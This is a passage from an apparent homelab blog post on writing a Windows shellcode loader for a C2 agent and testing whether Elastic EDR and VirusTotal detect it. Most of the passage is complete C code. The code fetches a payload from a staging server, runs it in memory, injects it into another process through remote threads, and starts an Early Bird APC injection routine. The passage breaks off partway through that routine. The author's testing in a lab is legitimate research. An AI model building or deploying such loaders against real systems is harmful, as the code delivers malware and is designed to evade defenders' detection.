</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// Retrieves payload from the staging web server
</span></span></span><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">FetchBlob</span>(
</span></span><span style="display:flex;"><span>	IN		LPCWSTR	lpszUrl,
</span></span><span style="display:flex;"><span>	OUT		PBYTE<span style="color:#f92672">*</span>	ppBlob,
</span></span><span style="display:flex;"><span>	OUT		PSIZE_T	psBlobSize
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	HINTERNET	hInternet		<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	HINTERNET	hInternetFile	<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PBYTE		pBuffer			<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	SIZE_T		sBufferSize		<span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	DWORD		dwBytesRead <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	BYTE		pTmpBuffer[<span style="color:#ae81ff">4096</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hInternet <span style="color:#f92672">=</span> <span style="color:#a6e22e">InternetOpenW</span>(NULL, NULL, NULL, NULL, NULL);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hInternet <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;InternetOpenW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hInternetFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">InternetOpenUrlW</span>(hInternet, lpszUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK, NULL);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hInternetFile <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;InternetOpenUrlW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span> (TRUE) {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">InternetReadFile</span>(hInternetFile, pTmpBuffer, <span style="color:#66d9ef">sizeof</span>(pTmpBuffer), <span style="color:#f92672">&amp;</span>dwBytesRead)) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;InternetReadFile failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>			bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>(dwBytesRead <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>)) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pBuffer <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span>			pBuffer <span style="color:#f92672">=</span> (PBYTE)<span style="color:#a6e22e">HeapAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, dwBytesRead);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>			pBuffer <span style="color:#f92672">=</span> (PBYTE)<span style="color:#a6e22e">HeapReAlloc</span>(<span style="color:#a6e22e">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, pBuffer, sBufferSize <span style="color:#f92672">+</span> dwBytesRead);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (pBuffer <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Failed to (re)allocate pBuffer. Last error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>			bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">memcpy</span>(pBuffer <span style="color:#f92672">+</span> sBufferSize, pTmpBuffer, dwBytesRead);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		sBufferSize <span style="color:#f92672">+=</span> dwBytesRead;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>ppBlob		<span style="color:#f92672">=</span> pBuffer;
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">*</span>psBlobSize	<span style="color:#f92672">=</span> sBufferSize;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_CleanUp:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hInternetFile)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">InternetCloseHandle</span>(hInternetFile);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hInternet) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">InternetCloseHandle</span>(hInternet);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">InternetSetOptionW</span>(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">RtlSecureZeroMemory</span>(pTmpBuffer, <span style="color:#ae81ff">4096</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The <code>DEBUG_PRINT</code> macro helps me to strip the debug <code>printf</code> statements at compile time when I want to. It is defined as follows, when <code>LOG_DEBUG_MSG</code> is defined the <code>DEBUG_PRINT</code> statements are essentially <code>printf</code> calls specifying file and line number along with the message passed. When <code>LOG_DEBUG_MSG</code> is not defined, <code>DEBUG_PRINT</code> turns to be just a <code>void</code> statement.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#define LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifdef LOG_DEBUG_MSG
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define DEBUG_PRINT(fmt, ...) \
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	printf(&#34;[DEBUG] (%s:%d) &#34; fmt &#34;\n&#34;, __FILE__, __LINE__,  ##__VA_ARGS__)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#else
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define	DEBUG_PRINT(fmt, ...) ((void)0)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#endif </span><span style="color:#75715e">// !LOG_DEBUG_MSG
</span></span></span></code></pre></div><h3 id="the-executor">The Executor</h3>
<p>The age old <code>VirtualAlloc</code> -&gt; <code>VirtualProtect</code> -&gt; <code>CreateThread</code> is as simple as it is signatured. I used this flow to establish a <em>control sample</em> for future reference and it served as a basic executor to validate my downloader logic simultaneously. The parameters are the buffer address and size populated by previously mentined downloader logic.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">Run</span>(
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE			<span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PBYTE	pExecBlob <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	DWORD	dwOldProtection	<span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	HANDLE	hThread <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pExecBlob <span style="color:#f92672">=</span> <span style="color:#a6e22e">VirtualAlloc</span>(NULL, sBlobSize, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_READWRITE);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pExecBlob <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualAlloc failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">memcpy</span>(pExecBlob, pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">RtlSecureZeroMemory</span>(pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualProtect</span>(pExecBlob, sBlobSize, PAGE_EXECUTE_READ, <span style="color:#f92672">&amp;</span>dwOldProtection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualProtect failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, NULL, pExecBlob, NULL, NULL, NULL);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hThread <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateThread failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">WaitForSingleObject</span>(hThread, INFINITE);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="an-attempt-at-execution">An attempt at execution</h3>
<p>To validate the functionality I used <code>msfvenom</code> to create a  payload to spawn a calculator <code>calc.exe</code>.</p>
<p>I created a dump function to display bytecodes fetched (<em>visible in terminal in the background</em>) from the remote staging server before executing it.</p>
<p><img src="./NetUtil-execution.png" alt="NetUtil-execution"></p>
<p>I labelled this loaders as <em>NetUtil.exe</em> and served through a python web server.</p>
<p>This version of loader was detected as soon as it was downloaded on the endpoint device with Elastic&rsquo;s EDR agent (My <a href="https://ashtrace.github.io/posts/soc_homelab_101/">previous blog</a> post may help in configuring a SOC homelab with Elastic).</p>
<p><img src="./NetUtil-exe-detected.png" alt="NetUtil-exe-detected"></p>
<p>The corresponding alert on the Kibana dashboard was:</p>
<p><img src="./NetUtil-exe-detected-alert.png" alt="NetUtil-exe-detected-alert"></p>
<p>The Virustotal performance of this loader was more glorious than the Adaptix&rsquo;s C2 agent executable itself as it score 20 compared to 12 detections of Adaptix&rsquo;s binary.</p>
<p><img src="./NetUtil-virustotal.png" alt="NetUtil-virustotal"></p>
<h2 id="why-inject-in-yourself-when-you-can-inject-others">Why inject in yourself when you can inject others?</h2>
<p>While I did not hope to achieve much from this but this seemed to me as the next logical step and thus in a simple subsitution of target processes I replaced the target of payload injection from loader to a secondary process. The code logic was same as the rudimentory <code>Run</code> function described above with slight subsitutions to operate in context of target process.</p>
<table>
  <thead>
      <tr>
          <th>Run</th>
          <th>RunRemote</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>VirtualAlloc</td>
          <td>VirtualAllocEx</td>
      </tr>
      <tr>
          <td>memcpy</td>
          <td>WriteProcessMemory</td>
      </tr>
      <tr>
          <td>VirtualProtect</td>
          <td>VirtualProtectEx</td>
      </tr>
      <tr>
          <td>CreateThread</td>
          <td>CreateRemoteThread</td>
      </tr>
  </tbody>
</table>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">RunRemote</span>(
</span></span><span style="display:flex;"><span>	IN	HANDLE	hProcess,
</span></span><span style="display:flex;"><span>	IN	PBYTE	pBlob,
</span></span><span style="display:flex;"><span>	IN	SIZE_T	sBlobSize
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	PVOID	pExecAddress			<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	SIZE_T	sNumberOfBytesWritten	<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	DWORD	dwOldProtection			<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	pExecAddress <span style="color:#f92672">=</span> <span style="color:#a6e22e">VirtualAllocEx</span>(hProcess, NULL, sBlobSize, MEM_RESERVE <span style="color:#f92672">|</span> MEM_COMMIT, PAGE_READWRITE);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (pExecAddress <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualAllocEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">WriteProcessMemory</span>(hProcess, pExecAddress, pBlob, sBlobSize, <span style="color:#f92672">&amp;</span>sNumberOfBytesWritten)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;WriteProcessMemory failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">VirtualProtectEx</span>(hProcess, pExecAddress, sBlobSize, PAGE_EXECUTE_READ, <span style="color:#f92672">&amp;</span>dwOldProtection)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;VirtualProtectEx failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">RtlSecureZeroMemory</span>(pBlob, sBlobSize);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">CreateRemoteThread</span>(hProcess, NULL, NULL, pExecAddress, NULL, NULL, NULL) <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateRemoteThread failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> FALSE;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> TRUE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Whilte the <code>pBlob</code> and the <code>sBlobSize</code> were the same as those in the <code>Run</code> function, the <code>hProcess</code> was handle to the target process which was derived by enumerating processes on the target system and opening handle to the one specified.</p>
<ul>
<li><code>CreateToolhelp32Snapshot</code> was used to create a snapshot of all running processes.</li>
<li><code>Process32First</code> and <code>Process32Next</code> were used to iterate through the snapshot to find the target process specified in parameter <code>lpszProcessName</code>.</li>
<li>Finally, a handle to the target process was opened and return through <code>phPRocess</code></li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">GetRemoteProcessHandle</span>(
</span></span><span style="display:flex;"><span>	IN	LPWSTR	lpszProcessName,
</span></span><span style="display:flex;"><span>	OUT	PHANDLE phProcess
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE		<span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	HANDLE hSnapshot	<span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	PROCESSENTRY32 Proc <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>		.dwSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(PROCESSENTRY32)
</span></span><span style="display:flex;"><span>	};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	hSnapshot <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateToolhelp32Snapshot</span>(TH32CS_SNAPPROCESS, NULL);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hSnapshot <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateToolhelp32Snapshot failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">Process32First</span>(hSnapshot, <span style="color:#f92672">&amp;</span>Proc)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;Process32First failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">do</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> (Proc.szExeFile) {
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">_wcsicmp</span>(Proc.szExeFile, lpszProcessName) <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">wprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;[i] Found process </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">%s</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74"> with PID: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, lpszProcessName, Proc.th32ProcessID);
</span></span><span style="display:flex;"><span>				<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">=</span> <span style="color:#a6e22e">OpenProcess</span>(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">if</span> (<span style="color:#f92672">*</span>phProcess <span style="color:#f92672">==</span> NULL) {
</span></span><span style="display:flex;"><span>					<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;OpenProcess failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>					bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>					<span style="color:#66d9ef">goto</span> _CleanUp;
</span></span><span style="display:flex;"><span>				}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">Process32Next</span>(hSnapshot, <span style="color:#f92672">&amp;</span>Proc));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_CleanUp:
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (hSnapshot)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">CloseHandle</span>(hSnapshot);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> bSTATE;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="testing-time">Testing time</h3>
<p>Running locally, it is evident from the image below that the loader successfully discovered target process and the execution of <code>calc.exe</code> shows that payload was injected into it and called.</p>
<p><img src="./NetUtil2-execution.png" alt="NetUtil2-execution"></p>
<p>Labelling and serving as <em>NetUtil2</em>, I downloaded it onto the monitored enpoint and it was detected just as its predecessor.</p>
<p><img src="./NetUtil2-exe-detected.png" alt="NetUtil2-exe-detected"></p>
<p>The VirusTotal detection score decremented by 1, still greater than the original executable let alone anywhere near defense evasion.</p>
<p><img src="./NetUtil2-virustotal.png" alt="NetUtil2-virustotal"></p>
<h2 id="early-bird-gets-the-worm">Early bird gets the worm</h2>
<p>Now, my first target towards reduced detection was to replace execution through newly created thread to some other alternative. Here, I leveraged <strong>Early Bird APC Injection</strong> technique.</p>
<h3 id="early-bird-apc">Early Bird? APC?</h3>
<p>APC stands for asynchronous procedure call. As per <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Microsoft&rsquo;s documentation</a></p>
<blockquote>
<p>An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread, the system issues a software interrupt. The next time the thread is scheduled, it will run the APC function.</p>
</blockquote>
<p>Essentially, through APC injection one can replace the currently executing procedure to another function which may be our shellcode. Thus no new threads are created but the existing one is redirected.</p>
<p>Early Bird APC injection means that we divert the execution to the target function as soon as a process is launched. This can be achieved through different means, the one demonstrated below spawns a child process but attaches the parent loader process as it&rsquo;s debugger and thus breakpoint is inserted at the <code>main</code> function of the child process. This gives time to push an APC call to replace the <code>main</code> function with shellcode and then the breakpoint is removed to resume execution.</p>
<p>As the name suggests <code>CreateSuspendedProcess</code> creates a debugged child process in suspended state for the executable specified by <code>lpszProcessName</code> and populates the parameters <code>phProcess</code>, <code>phThread</code> and <code>pdwProcessID</code> with handle to the child process, it&rsquo;s main thread and the process ID respectively.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">CreateSuspendedProcess</span>(
</span></span><span style="display:flex;"><span>	IN	LPCWSTR	lpszProcessName,
</span></span><span style="display:flex;"><span>	OUT	PHANDLE	phProcess,
</span></span><span style="display:flex;"><span>	OUT	PHANDLE	phThread,
</span></span><span style="display:flex;"><span>	OUT	PDWORD	pdwProcessID
</span></span><span style="display:flex;"><span>) {
</span></span><span style="display:flex;"><span>	BOOL	bSTATE <span style="color:#f92672">=</span> TRUE;
</span></span><span style="display:flex;"><span>	WCHAR	lpszTargetProcessPath[MAX_PATH <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>];
</span></span><span style="display:flex;"><span>	WCHAR	WnDir[MAX_PATH];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	STARTUPINFO	Si <span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>	PROCESS_INFORMATION Pi <span style="color:#f92672">=</span> { <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	Si.cb <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(STARTUPINFO);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">GetEnvironmentVariableW</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;WINDIR&#34;</span>, WnDir, MAX_PATH)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;GetEnvironmentVariableW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
</span></span><span style="display:flex;"><span>		bSTATE <span style="color:#f92672">=</span> FALSE;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">goto</span> _EoF;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">swprintf_s</span>(lpszTargetProcessPath, MAX_PATH <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>, <span style="color:#e6db74">L</span><span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">System32</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">%s&#34;</span>, WnDir, lpszProcessName);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">CreateProcessW</span>(NULL, lpszTargetProcessPath, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, <span style="color:#f92672">&amp;</span>Si, <span style="color:#f92672">&amp;</span>Pi)) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DEBUG_PRINT</span>(<span style="color:#e6db74">&#34;CreateProcessW failed with error: %lu</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, <span style="color:#a6e22e">GetLastError</span>());
